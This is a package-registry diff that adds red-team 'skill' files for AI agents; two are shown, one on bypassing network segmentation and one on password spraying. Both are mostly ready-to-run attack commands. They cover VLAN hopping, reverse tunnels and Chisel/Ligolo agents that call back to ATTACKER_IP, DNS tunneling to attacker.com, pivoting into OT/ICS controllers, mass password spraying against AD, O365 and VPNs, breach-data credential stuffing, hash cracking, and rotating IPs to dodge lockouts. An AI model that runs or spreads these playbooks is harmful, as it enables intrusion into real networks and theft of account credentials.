rtexit-method 0.1.4 → 0.1.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-binary-reverse-engineering/SKILL.md +304 -0
- package/packaged-assets/.agents/skills/rt-crypto-attacks/SKILL.md +350 -0
- package/packaged-assets/.agents/skills/rt-exploit-fuzzing/SKILL.md +301 -0
- package/packaged-assets/.agents/skills/rt-hardware-hacking/SKILL.md +253 -0
- package/packaged-assets/.agents/skills/rt-network-segmentation/SKILL.md +275 -0
- package/packaged-assets/.agents/skills/rt-password-spray/SKILL.md +298 -0
- package/packaged-assets/.agents/skills/rt-ssl-mitm/SKILL.md +305 -0
- package/packaged-assets/.agents/skills/rt-steganography/SKILL.md +293 -0
- package/packaged-assets/.agents/skills/rt-wireless-rogue-ap/SKILL.md +276 -0
- package/packaged-assets/.agents/skills/rt-wordlist-generation/SKILL.md +288 -0
|
@@ -0,0 +1,275 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-network-segmentation
|
|
3
|
+
description: "Network segmentation bypass skill for authorized engagements. VLAN hopping (switch spoofing, double tagging), ACL evasion techniques, IPv6 bypass of IPv4-only controls, GRE/IPIP tunnel creation, SSH and SOCKS proxy chaining for pivoting, firewall rule evasion via fragmentation and protocol manipulation, and VXLAN/SDN exploitation. Use when testing network isolation controls or pivoting through segmented networks."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-network-segmentation — Network Segmentation Bypass
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Network segmentation divides infrastructure into zones (DMZ, internal, OT/ICS, PCI). Bypassing segmentation allows an attacker to pivot from a low-trust zone (e.g., guest WiFi, DMZ web server) into high-trust zones (internal LAN, database tier, OT network).
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Enumerate Network Segmentation
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# From compromised host — map the network
|
|
18
|
+
ip addr; ip route; ip neigh # Local network info
|
|
19
|
+
arp -a # ARP table — neighbors
|
|
20
|
+
netstat -rn # Routing table
|
|
21
|
+
|
|
22
|
+
# Find other network interfaces (multi-homed host = pivot opportunity)
|
|
23
|
+
ifconfig -a
|
|
24
|
+
ip link show
|
|
25
|
+
|
|
26
|
+
# Discover accessible subnets
|
|
27
|
+
for subnet in 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16; do
|
|
28
|
+
nmap -sn $subnet --min-rate 5000 2>/dev/null | grep "report for"
|
|
29
|
+
done
|
|
30
|
+
|
|
31
|
+
# Test which firewall rules are in place
|
|
32
|
+
# Try to reach internal targets from DMZ host
|
|
33
|
+
for port in 22 80 443 3389 3306 1433 8080; do
|
|
34
|
+
timeout 1 bash -c "echo >/dev/tcp/INTERNAL_IP/$port" 2>/dev/null \
|
|
35
|
+
&& echo "OPEN: $port" || echo "BLOCKED: $port"
|
|
36
|
+
done
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
---
|
|
40
|
+
|
|
41
|
+
## Phase 2 — VLAN Hopping
|
|
42
|
+
|
|
43
|
+
### 2a — Switch Spoofing (DTP Negotiation)
|
|
44
|
+
|
|
45
|
+
```bash
|
|
46
|
+
# If switch port is in dynamic mode → negotiate trunk link
|
|
47
|
+
# Attacker sends DTP (Dynamic Trunking Protocol) frames to become a trunk
|
|
48
|
+
|
|
49
|
+
# Install Yersinia
|
|
50
|
+
apt install yersinia -y
|
|
51
|
+
|
|
52
|
+
# Negotiate 802.1Q trunk (GUI mode)
|
|
53
|
+
yersinia -G
|
|
54
|
+
# Select DTP → Enable Trunking
|
|
55
|
+
|
|
56
|
+
# CLI mode
|
|
57
|
+
yersinia dtp -attack 1 # Attack 1 = enable trunking
|
|
58
|
+
|
|
59
|
+
# Once trunk negotiated → create VLAN subinterface
|
|
60
|
+
modprobe 8021q
|
|
61
|
+
vconfig add eth0 200 # Create VLAN 200 interface
|
|
62
|
+
ip addr add 10.20.0.50/24 dev eth0.200
|
|
63
|
+
ip link set eth0.200 up
|
|
64
|
+
# Now can communicate with VLAN 200 hosts
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
### 2b — Double Tagging (One-Way)
|
|
68
|
+
|
|
69
|
+
```bash
|
|
70
|
+
# Exploit native VLAN misconfiguration
|
|
71
|
+
# Outer tag = attacker's VLAN (native, stripped by first switch)
|
|
72
|
+
# Inner tag = target VLAN (processed by second switch)
|
|
73
|
+
# Limitation: one-way — responses can't return via same path
|
|
74
|
+
|
|
75
|
+
# Create double-tagged packet
|
|
76
|
+
pip3 install scapy
|
|
77
|
+
|
|
78
|
+
python3 << 'EOF'
|
|
79
|
+
from scapy.all import *
|
|
80
|
+
|
|
81
|
+
# Double-tagged frame: outer=native VLAN(1), inner=target VLAN(200)
|
|
82
|
+
packet = Ether(dst="ff:ff:ff:ff:ff:ff") / \
|
|
83
|
+
Dot1Q(vlan=1) / \ # Outer tag (native VLAN — gets stripped)
|
|
84
|
+
Dot1Q(vlan=200) / \ # Inner tag (target VLAN)
|
|
85
|
+
IP(dst="10.20.0.1") / \
|
|
86
|
+
ICMP()
|
|
87
|
+
|
|
88
|
+
sendp(packet, iface="eth0")
|
|
89
|
+
EOF
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
---
|
|
93
|
+
|
|
94
|
+
## Phase 3 — IPv6 Bypass of IPv4-Only Controls
|
|
95
|
+
|
|
96
|
+
```bash
|
|
97
|
+
# Many firewall rules are IPv4-only
|
|
98
|
+
# If IPv6 is enabled but uncontrolled → bypass firewall
|
|
99
|
+
|
|
100
|
+
# Check if IPv6 is available
|
|
101
|
+
ip -6 addr
|
|
102
|
+
ping6 -c3 fe80::1
|
|
103
|
+
|
|
104
|
+
# Discover IPv6 addresses of hosts
|
|
105
|
+
nmap -6 --script ipv6-node-info fe80::%eth0/64
|
|
106
|
+
# Or use neighbor discovery
|
|
107
|
+
nmap -6 --script ipv6-neighbor -e eth0
|
|
108
|
+
|
|
109
|
+
# Try to reach blocked host via IPv6 when IPv4 is blocked
|
|
110
|
+
nmap -6 -sV -p 22,80,443 2001:db8::INTERNAL_IPv6
|
|
111
|
+
curl -6 http://[2001:db8::1]/admin
|
|
112
|
+
|
|
113
|
+
# Tunnel IPv4 over IPv6 if only IPv6 allowed outbound
|
|
114
|
+
# 6in4 tunnel or use socat
|
|
115
|
+
socat TCP-LISTEN:8080,fork TCP6:[IPv6_TARGET]:80
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
---
|
|
119
|
+
|
|
120
|
+
## Phase 4 — Tunnel Creation for Pivoting
|
|
121
|
+
|
|
122
|
+
### 4a — SSH Tunneling
|
|
123
|
+
|
|
124
|
+
```bash
|
|
125
|
+
# Local port forward: access INTERNAL:3306 via ATTACKER:3307
|
|
126
|
+
ssh -L 3307:INTERNAL_DB:3306 compromised@PIVOT_HOST -N -f
|
|
127
|
+
|
|
128
|
+
# Remote port forward: expose shell on internal host to attacker
|
|
129
|
+
# Run on internal host (can't reach attacker directly):
|
|
130
|
+
ssh -R 4444:127.0.0.1:22 attacker@ATTACKER_IP -N -f
|
|
131
|
+
# Then on attacker: ssh -p 4444 user@localhost
|
|
132
|
+
|
|
133
|
+
# SOCKS proxy: route all traffic through compromised host
|
|
134
|
+
ssh -D 1080 compromised@PIVOT_HOST -N -f
|
|
135
|
+
# Use with proxychains:
|
|
136
|
+
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
|
|
137
|
+
proxychains4 nmap -sT INTERNAL_SUBNET
|
|
138
|
+
|
|
139
|
+
# Multi-hop SSH tunnel (2 pivot hops)
|
|
140
|
+
ssh -J compromised1@HOP1,compromised2@HOP2 target@FINAL_HOST
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
### 4b — Chisel (HTTP Tunneling — Bypasses Firewalls)
|
|
144
|
+
|
|
145
|
+
```bash
|
|
146
|
+
# Chisel tunnels TCP over HTTP/HTTPS — works through web proxies
|
|
147
|
+
|
|
148
|
+
# On attacker
|
|
149
|
+
./chisel server -p 8080 --reverse
|
|
150
|
+
|
|
151
|
+
# On compromised host (outbound HTTP allowed)
|
|
152
|
+
./chisel client ATTACKER_IP:8080 R:socks
|
|
153
|
+
# Creates reverse SOCKS proxy on attacker port 1080
|
|
154
|
+
|
|
155
|
+
# Use with proxychains
|
|
156
|
+
proxychains4 crackmapexec smb INTERNAL_SUBNET
|
|
157
|
+
|
|
158
|
+
# Forward specific ports
|
|
159
|
+
./chisel client ATTACKER_IP:8080 R:3389:INTERNAL_HOST:3389
|
|
160
|
+
# RDP to INTERNAL_HOST via ATTACKER_IP:3389
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
### 4c — Ligolo-ng (Layer 3 Tunnel)
|
|
164
|
+
|
|
165
|
+
```bash
|
|
166
|
+
# Ligolo-ng creates a full Layer 3 tunnel — most transparent
|
|
167
|
+
# github.com/nicocha30/ligolo-ng
|
|
168
|
+
|
|
169
|
+
# On attacker — start proxy
|
|
170
|
+
./proxy -selfcert -laddr 0.0.0.0:443
|
|
171
|
+
|
|
172
|
+
# On compromised host
|
|
173
|
+
./agent -connect ATTACKER_IP:443 -ignore-cert
|
|
174
|
+
|
|
175
|
+
# In ligolo proxy console:
|
|
176
|
+
session # select agent
|
|
177
|
+
start # start tunnel
|
|
178
|
+
|
|
179
|
+
# Add route to internal network
|
|
180
|
+
ip route add 10.10.10.0/24 dev ligolo
|
|
181
|
+
|
|
182
|
+
# Now directly access internal network from attacker
|
|
183
|
+
nmap 10.10.10.0/24
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
---
|
|
187
|
+
|
|
188
|
+
## Phase 5 — Firewall Rule Evasion
|
|
189
|
+
|
|
190
|
+
```bash
|
|
191
|
+
# Fragmentation bypass (split packets to evade signature detection)
|
|
192
|
+
nmap -f -sS TARGET_IP # Fragment probes into 8-byte chunks
|
|
193
|
+
nmap --mtu 16 TARGET_IP # Custom MTU fragmentation
|
|
194
|
+
|
|
195
|
+
# Source port bypass (if firewall allows traffic from DNS/HTTP src ports)
|
|
196
|
+
nmap --source-port 53 -sU TARGET_IP # Spoof source port 53 (DNS)
|
|
197
|
+
nmap --source-port 80 -sS TARGET_IP # Spoof source port 80 (HTTP)
|
|
198
|
+
|
|
199
|
+
# Decoy scanning (hide real source among decoys)
|
|
200
|
+
nmap -D RND:10 TARGET_IP # 10 random decoys
|
|
201
|
+
|
|
202
|
+
# Protocol manipulation (use allowed protocols as tunnels)
|
|
203
|
+
# ICMP tunneling (if ICMP allowed but TCP blocked)
|
|
204
|
+
ptunnel-ng -p PIVOT_HOST -lp 8080 -da INTERNAL_HOST -dp 22
|
|
205
|
+
# Routes TCP over ICMP echo requests
|
|
206
|
+
|
|
207
|
+
# DNS tunneling (if only DNS allowed outbound)
|
|
208
|
+
iodine -f -P password dns.attacker.com
|
|
209
|
+
# Routes IP traffic in DNS queries/responses
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
---
|
|
213
|
+
|
|
214
|
+
## Phase 6 — GRE / IP-in-IP Tunnels
|
|
215
|
+
|
|
216
|
+
```bash
|
|
217
|
+
# If you control both endpoints and the network allows GRE (protocol 47)
|
|
218
|
+
|
|
219
|
+
# Create GRE tunnel between two compromised hosts
|
|
220
|
+
# On host A:
|
|
221
|
+
ip tunnel add gre1 mode gre remote HOST_B_IP local HOST_A_IP
|
|
222
|
+
ip addr add 172.30.0.1/30 dev gre1
|
|
223
|
+
ip link set gre1 up
|
|
224
|
+
|
|
225
|
+
# On host B:
|
|
226
|
+
ip tunnel add gre1 mode gre remote HOST_A_IP local HOST_B_IP
|
|
227
|
+
ip addr add 172.30.0.2/30 dev gre1
|
|
228
|
+
ip link set gre1 up
|
|
229
|
+
|
|
230
|
+
# Route VLAN traffic through GRE tunnel
|
|
231
|
+
ip route add SEGMENTED_SUBNET via 172.30.0.2
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
---
|
|
235
|
+
|
|
236
|
+
## Phase 7 — OT/ICS Network Reach
|
|
237
|
+
|
|
238
|
+
```bash
|
|
239
|
+
# Purdue model segmentation: Enterprise → DMZ → Control → Field
|
|
240
|
+
# Common pivot path: IT network → historian server → OT VLAN
|
|
241
|
+
|
|
242
|
+
# Identify historian/HMI hosts (often dual-homed)
|
|
243
|
+
nmap -sV -p 102,502,4840,44818 HISTORIAN_IP
|
|
244
|
+
# 102 = Siemens S7 (ISO-TSAP)
|
|
245
|
+
# 502 = Modbus TCP
|
|
246
|
+
# 4840 = OPC UA
|
|
247
|
+
# 44818 = EtherNet/IP
|
|
248
|
+
|
|
249
|
+
# If historian is compromised → it has routes to OT
|
|
250
|
+
ip route # Shows OT subnet routes
|
|
251
|
+
# Access OT PLCs directly
|
|
252
|
+
nmap -sT -p 102,502 OT_SUBNET
|
|
253
|
+
```
|
|
254
|
+
|
|
255
|
+
---
|
|
256
|
+
|
|
257
|
+
## Skill Levels
|
|
258
|
+
|
|
259
|
+
**BEGINNER:** SSH local port forward + SOCKS proxy + proxychains for basic pivoting
|
|
260
|
+
|
|
261
|
+
**INTERMEDIATE:** Chisel/Ligolo-ng for HTTP-based tunneling + VLAN hopping detection + firewall rule enumeration
|
|
262
|
+
|
|
263
|
+
**ADVANCED:** GRE tunnels + IPv6 bypass + ICMP/DNS tunneling through restrictive firewalls
|
|
264
|
+
|
|
265
|
+
**EXPERT:** VLAN double-tagging attacks + OT network reach via historian pivot + SDN/VXLAN exploitation
|
|
266
|
+
|
|
267
|
+
---
|
|
268
|
+
|
|
269
|
+
## References
|
|
270
|
+
|
|
271
|
+
- Chisel: https://github.com/jpillora/chisel
|
|
272
|
+
- Ligolo-ng: https://github.com/nicocha30/ligolo-ng
|
|
273
|
+
- Yersinia: https://github.com/tomac/yersinia
|
|
274
|
+
- MITRE T1599: https://attack.mitre.org/techniques/T1599/
|
|
275
|
+
- Network Pivoting: https://book.hacktricks.xyz/generic-methodologies-and-resources/tunneling-and-port-forwarding
|
|
@@ -0,0 +1,298 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-password-spray
|
|
3
|
+
description: "Password spraying skill for authorized engagements. Anti-lockout spray logic, Active Directory spraying with kerbrute and CrackMapExec, O365/Azure AD spray, OWA/Exchange spray, VPN and portal spraying, distributed spraying to avoid lockout, credential stuffing from breach data, custom wordlist generation with CeWL and rules, and hashcat cracking workflows. Use when testing authentication controls across corporate services."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-password-spray — Password Spraying & Credential Attacks
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Password spraying tests one or a few common passwords against many accounts — the inverse of brute force. It avoids account lockout by staying under the threshold (typically 3-5 attempts per account per window). In red team engagements, password spraying is often the fastest path to initial access.
|
|
11
|
+
|
|
12
|
+
**Key principle:** 1-3 passwords × all accounts = high success rate, zero lockouts.
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## Phase 1 — Pre-Spray Recon
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
# Find lockout policy BEFORE spraying
|
|
20
|
+
# Method 1: From domain joined host
|
|
21
|
+
net accounts /domain
|
|
22
|
+
# Outputs: Lockout threshold, observation window, lockout duration
|
|
23
|
+
|
|
24
|
+
# Method 2: Via LDAP (unauthenticated often works)
|
|
25
|
+
ldapsearch -x -H ldap://DC_IP -b "DC=corp,DC=local" \
|
|
26
|
+
"(objectClass=domainPolicy)" lockoutThreshold lockoutObservationWindow
|
|
27
|
+
|
|
28
|
+
# Method 3: From enum4linux
|
|
29
|
+
enum4linux -P DC_IP | grep -i lockout
|
|
30
|
+
|
|
31
|
+
# Safe spray rate: 1 attempt per account per (observation window + buffer)
|
|
32
|
+
# If lockout = 5 attempts / 30 min window → spray 1 pass per 35 minutes max
|
|
33
|
+
|
|
34
|
+
# Enumerate all valid usernames first
|
|
35
|
+
kerbrute userenum --dc DC_IP -d corp.local /opt/SecLists/Usernames/Names/names.txt
|
|
36
|
+
# Output: valid usernames only → build target list
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
---
|
|
40
|
+
|
|
41
|
+
## Phase 2 — Password List Selection
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
# Universal first-pass passwords (highest success rate in enterprise)
|
|
45
|
+
# Ordered by success frequency in red team engagements:
|
|
46
|
+
Season+Year: Summer2024! Spring2024! Winter2024! Fall2024!
|
|
47
|
+
Company+Year: Corp2024! CorpIT2024! Company123!
|
|
48
|
+
Welcome: Welcome1! Welcome2024! Welcome@123
|
|
49
|
+
Common: Password1! P@ssw0rd! Admin123! Passw0rd1
|
|
50
|
+
Months: January2024! February2024!
|
|
51
|
+
|
|
52
|
+
# Build spray list from company OSINT
|
|
53
|
+
# CeWL — harvest words from company website
|
|
54
|
+
cewl https://corp.com -d 3 -m 6 -w corp-words.txt
|
|
55
|
+
cewl https://corp.com --with-numbers -w corp-words-nums.txt
|
|
56
|
+
|
|
57
|
+
# Add password mutation rules
|
|
58
|
+
hashcat --stdout corp-words.txt -r /usr/share/hashcat/rules/best64.rule \
|
|
59
|
+
| head -100 > spray-list.txt
|
|
60
|
+
|
|
61
|
+
# Add season+year automatically
|
|
62
|
+
python3 -c "
|
|
63
|
+
import datetime
|
|
64
|
+
year = datetime.datetime.now().year
|
|
65
|
+
seasons = ['Spring','Summer','Fall','Winter']
|
|
66
|
+
months = ['January','February','March','April','May','June',
|
|
67
|
+
'July','August','September','October','November','December']
|
|
68
|
+
for s in seasons:
|
|
69
|
+
for y in [year-1, year]:
|
|
70
|
+
print(f'{s}{y}!')
|
|
71
|
+
print(f'{s}{y}@')
|
|
72
|
+
for m in months:
|
|
73
|
+
print(f'{m}{year}!')
|
|
74
|
+
" > seasonal-passwords.txt
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
---
|
|
78
|
+
|
|
79
|
+
## Phase 3 — Active Directory Spraying
|
|
80
|
+
|
|
81
|
+
### 3a — Kerbrute (Kerberos-based — No LDAP, Lower Noise)
|
|
82
|
+
|
|
83
|
+
```bash
|
|
84
|
+
# Download
|
|
85
|
+
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O kerbrute
|
|
86
|
+
chmod +x kerbrute
|
|
87
|
+
|
|
88
|
+
# Single password spray
|
|
89
|
+
./kerbrute passwordspray -d corp.local --dc DC_IP users.txt 'Summer2024!'
|
|
90
|
+
|
|
91
|
+
# Multiple passwords (with delay between rounds)
|
|
92
|
+
for pass in 'Summer2024!' 'Welcome1!' 'Password1!'; do
|
|
93
|
+
echo "[*] Spraying: $pass"
|
|
94
|
+
./kerbrute passwordspray -d corp.local --dc DC_IP users.txt "$pass"
|
|
95
|
+
echo "[*] Sleeping 35 minutes..."
|
|
96
|
+
sleep 2100 # 35 min — safely under observation window
|
|
97
|
+
done
|
|
98
|
+
|
|
99
|
+
# Output: valid credentials listed as [+] VALID LOGIN
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
### 3b — CrackMapExec / NetExec (SMB Spray)
|
|
103
|
+
|
|
104
|
+
```bash
|
|
105
|
+
# SMB spray — tests against all DCs/hosts
|
|
106
|
+
crackmapexec smb DC_IP -u users.txt -p 'Summer2024!' --no-bruteforce
|
|
107
|
+
# --no-bruteforce: one password per user (not all combos)
|
|
108
|
+
|
|
109
|
+
# Multiple passwords safely
|
|
110
|
+
crackmapexec smb DC_IP -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
|
|
111
|
+
|
|
112
|
+
# Find which hosts the valid creds work on
|
|
113
|
+
crackmapexec smb 10.10.10.0/24 -u validuser -p 'Summer2024!'
|
|
114
|
+
|
|
115
|
+
# LDAP spray (quieter than SMB)
|
|
116
|
+
crackmapexec ldap DC_IP -u users.txt -p 'Summer2024!' --no-bruteforce
|
|
117
|
+
|
|
118
|
+
# WinRM spray (find remote management access)
|
|
119
|
+
crackmapexec winrm 10.10.10.0/24 -u validuser -p 'Summer2024!'
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
## Phase 4 — Cloud & Web Service Spraying
|
|
125
|
+
|
|
126
|
+
### 4a — Microsoft 365 / Azure AD
|
|
127
|
+
|
|
128
|
+
```bash
|
|
129
|
+
# MSOLSpray — O365 spraying with lockout awareness
|
|
130
|
+
git clone https://github.com/dafthack/MSOLSpray
|
|
131
|
+
Import-Module .\MSOLSpray.ps1
|
|
132
|
+
Invoke-MSOLSpray -UserList users.txt -Password 'Summer2024!'
|
|
133
|
+
|
|
134
|
+
# Or: python version
|
|
135
|
+
pip3 install msolspray
|
|
136
|
+
msolspray -u users.txt -p 'Summer2024!' -d corp.com
|
|
137
|
+
|
|
138
|
+
# TeamFiltration — Teams/O365 multi-vector
|
|
139
|
+
git clone https://github.com/Flangvik/TeamFiltration
|
|
140
|
+
./TeamFiltration --spray --out-dir results/ --userlist users.txt --password 'Summer2024!'
|
|
141
|
+
|
|
142
|
+
# Check if SmartLockout is active (Azure AD)
|
|
143
|
+
# SmartLockout = 10 failures → 60s lockout (per IP)
|
|
144
|
+
# Bypass: distribute spray across multiple IPs / use slow spray
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
### 4b — OWA / Exchange Spraying
|
|
148
|
+
|
|
149
|
+
```bash
|
|
150
|
+
# MailSniper — Exchange/OWA spray
|
|
151
|
+
Import-Module .\MailSniper.ps1
|
|
152
|
+
Invoke-PasswordSprayOWA -ExchangeVersion Exchange2016 \
|
|
153
|
+
-ExchHostname mail.corp.com \
|
|
154
|
+
-UserList users.txt \
|
|
155
|
+
-Password 'Summer2024!' \
|
|
156
|
+
-OutFile sprayed.txt
|
|
157
|
+
|
|
158
|
+
# EWSWrapper — slower, uses Exchange Web Services
|
|
159
|
+
python3 ewsWrapper.py -u users.txt -p 'Summer2024!' -t mail.corp.com
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
### 4c — VPN & Remote Access Portals
|
|
163
|
+
|
|
164
|
+
```bash
|
|
165
|
+
# Cisco AnyConnect
|
|
166
|
+
python3 vpn_spray.py --host vpn.corp.com --users users.txt --password 'Summer2024!'
|
|
167
|
+
|
|
168
|
+
# Citrix NetScaler
|
|
169
|
+
curl -s -X POST 'https://citrix.corp.com/nf/auth/doAuthentication.do' \
|
|
170
|
+
-d "login=USER&passwd=Summer2024!" | grep -i "success\|error\|invalid"
|
|
171
|
+
|
|
172
|
+
# General HTTP form spray
|
|
173
|
+
hydra -L users.txt -p 'Summer2024!' corp.com https-post-form \
|
|
174
|
+
"/login:username=^USER^&password=^PASS^:Invalid credentials" \
|
|
175
|
+
-t 1 -W 35 # 1 thread, 35 second wait between attempts
|
|
176
|
+
|
|
177
|
+
# Web login spray with Burp Intruder
|
|
178
|
+
# Positions: username (list) + password (fixed)
|
|
179
|
+
# Grep match: success indicator
|
|
180
|
+
# Throttle: 60s between requests per account
|
|
181
|
+
```
|
|
182
|
+
|
|
183
|
+
---
|
|
184
|
+
|
|
185
|
+
## Phase 5 — Credential Stuffing (From Breach Data)
|
|
186
|
+
|
|
187
|
+
```bash
|
|
188
|
+
# Download breach data (authorized context only)
|
|
189
|
+
# Sources: HaveIBeenPwned API, DeHashed, Snusbase
|
|
190
|
+
|
|
191
|
+
# Check employees in breaches
|
|
192
|
+
python3 breach_check.py --domain corp.com --output corp_breached.txt
|
|
193
|
+
# Uses HIBP API: api.pwnedpasswords.com
|
|
194
|
+
|
|
195
|
+
# Extract email:password pairs from breach dump
|
|
196
|
+
grep -i "@corp.com" breach_dump.txt | awk -F: '{print $1":"$NF}' > corp_creds.txt
|
|
197
|
+
|
|
198
|
+
# Test extracted credentials
|
|
199
|
+
while IFS=: read -r user pass; do
|
|
200
|
+
./kerbrute bruteuser -d corp.local --dc DC_IP "$pass" "$user"
|
|
201
|
+
done < corp_creds.txt
|
|
202
|
+
|
|
203
|
+
# Automated stuffing with Hydra
|
|
204
|
+
hydra -C corp_creds.txt corp.com https-post-form \
|
|
205
|
+
"/login:email=^USER^&password=^PASS^:Invalid"
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
---
|
|
209
|
+
|
|
210
|
+
## Phase 6 — Hash Cracking (Post-Capture)
|
|
211
|
+
|
|
212
|
+
```bash
|
|
213
|
+
# After capturing hashes (from Responder, secretsdump, LSASS dump)
|
|
214
|
+
|
|
215
|
+
# NTLM hashes
|
|
216
|
+
hashcat -a 0 -m 1000 ntlm_hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
|
|
217
|
+
hashcat -a 0 -m 1000 ntlm_hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt \
|
|
218
|
+
-r /usr/share/hashcat/rules/best64.rule
|
|
219
|
+
|
|
220
|
+
# NTLMv2 (from Responder)
|
|
221
|
+
hashcat -a 0 -m 5600 ntlmv2_hashes.txt rockyou.txt
|
|
222
|
+
|
|
223
|
+
# Kerberoast TGS hashes
|
|
224
|
+
hashcat -a 0 -m 13100 kerberoast.hash rockyou.txt
|
|
225
|
+
hashcat -a 0 -m 13100 kerberoast.hash rockyou.txt -r best64.rule
|
|
226
|
+
|
|
227
|
+
# AS-REP roast
|
|
228
|
+
hashcat -a 0 -m 18200 asrep.hash rockyou.txt
|
|
229
|
+
|
|
230
|
+
# Custom rules for corporate passwords
|
|
231
|
+
# Rule: capitalize first letter + append numbers + special char
|
|
232
|
+
cat > corp_rules.rule << 'EOF'
|
|
233
|
+
c $2 $0 $2 $4 $!
|
|
234
|
+
c $2 $0 $2 $5 $!
|
|
235
|
+
c $S $u $m $m $e $r $2 $0 $2 $4 $!
|
|
236
|
+
^@ c
|
|
237
|
+
$@ c
|
|
238
|
+
c $1 $2 $3
|
|
239
|
+
EOF
|
|
240
|
+
hashcat -a 0 -m 1000 hashes.txt corp-words.txt -r corp_rules.rule
|
|
241
|
+
|
|
242
|
+
# Mask attack (pattern-based)
|
|
243
|
+
# Pattern: Capital + 6 lowercase + 2 digits + special
|
|
244
|
+
hashcat -a 3 -m 1000 hashes.txt '?u?l?l?l?l?l?l?d?d?s'
|
|
245
|
+
# Common corporate pattern: Company123!
|
|
246
|
+
hashcat -a 3 -m 1000 hashes.txt 'Corp?d?d?d?d!'
|
|
247
|
+
|
|
248
|
+
# AWS S3 / Azure SAS token cracking
|
|
249
|
+
hashcat -a 0 -m 16500 jwt_tokens.txt wordlist.txt # JWT HS256
|
|
250
|
+
```
|
|
251
|
+
|
|
252
|
+
---
|
|
253
|
+
|
|
254
|
+
## Phase 7 — Distributed Spraying (Evade IP-based Lockout)
|
|
255
|
+
|
|
256
|
+
```bash
|
|
257
|
+
# Azure AD SmartLockout and many cloud services lock per-IP
|
|
258
|
+
# Distribute spray across multiple egress IPs
|
|
259
|
+
|
|
260
|
+
# Option A: Multiple VPS / proxychains
|
|
261
|
+
# proxychains4 with multiple SOCKS proxies
|
|
262
|
+
cat /etc/proxychains4.conf
|
|
263
|
+
# [ProxyList]
|
|
264
|
+
# socks5 IP1 1080
|
|
265
|
+
# socks5 IP2 1080
|
|
266
|
+
# socks5 IP3 1080
|
|
267
|
+
|
|
268
|
+
proxychains4 ./kerbrute passwordspray -d corp.local --dc DC_IP users.txt 'Summer2024!'
|
|
269
|
+
|
|
270
|
+
# Option B: AWS Lambda spray (GoLambda)
|
|
271
|
+
git clone https://github.com/ustayready/fireprox
|
|
272
|
+
python3 fire.py --access_key KEY --secret_access_key SECRET \
|
|
273
|
+
--region us-east-1 --command create --url https://login.microsoftonline.com
|
|
274
|
+
|
|
275
|
+
# Each Lambda invocation = different IP
|
|
276
|
+
```
|
|
277
|
+
|
|
278
|
+
---
|
|
279
|
+
|
|
280
|
+
## Skill Levels
|
|
281
|
+
|
|
282
|
+
**BEGINNER:** kerbrute single password spray → find valid credentials → PTH or direct login
|
|
283
|
+
|
|
284
|
+
**INTERMEDIATE:** Multi-round spray with lockout-aware delays + O365/OWA spray + CeWL wordlist generation
|
|
285
|
+
|
|
286
|
+
**ADVANCED:** Distributed spray via proxychains + credential stuffing from breach data + custom hashcat rules
|
|
287
|
+
|
|
288
|
+
**EXPERT:** Fully automated spray framework with per-account rate limiting + SmartLockout bypass + real-time credential validation
|
|
289
|
+
|
|
290
|
+
---
|
|
291
|
+
|
|
292
|
+
## References
|
|
293
|
+
|
|
294
|
+
- kerbrute: https://github.com/ropnop/kerbrute
|
|
295
|
+
- CrackMapExec: https://github.com/byt3bl33d3r/CrackMapExec
|
|
296
|
+
- MSOLSpray: https://github.com/dafthack/MSOLSpray
|
|
297
|
+
- MailSniper: https://github.com/dafthack/MailSniper
|
|
298
|
+
- MITRE T1110.003: https://attack.mitre.org/techniques/T1110/003/
|